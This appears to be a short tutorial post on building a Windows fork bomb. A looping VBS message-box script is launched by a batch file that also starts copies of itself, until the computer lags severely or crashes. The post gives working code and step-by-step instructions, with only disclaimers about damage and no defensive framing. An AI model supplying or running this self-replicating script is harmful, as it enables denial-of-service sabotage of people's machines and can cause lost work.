WARNING: You're probably going to encounter severe lag and or crashing. I am not held responsible of any damages if you choose to continue.
You can make a batch file that opens the same VBS script many times.
Make a notepad with:
msgbox("YourTextHere")
Or if you want to loop it:
do
msgbox("YourTextHere")
loop
Replace YourTextHere with whatever you want.
Then save it as .vbs
then make another notepad:
start "MessageBox" "MessageBox.vbs"
Change "MessageBox" with the name of the message box VBS you made.
Copy and paste the same script multiple times to open it more times (Do this at your own risk, you may encounter severe lag).
Then save it as .bat
Or add the batch file itself multiple times so it can create a loop of opening batch files which can open more scripts out of them. (Do this at your own risk, you may encounter severe lag).
For example:
start "BatchFile" "Batchfile.bat"
Change "BatchFile" with the name of the Batchfile you made.
Copy and paste it multiple times to open it more times again (Do this at your own risk, you may encounter severe lag).
So far, you're okay since you did not open the .bat file. IF you try testing it, It'll open multiple instances of your .bat file and the message box, then open more instances off the new instances, then more instances off the even newer instances, and repeat enough to make your PC crash or lag.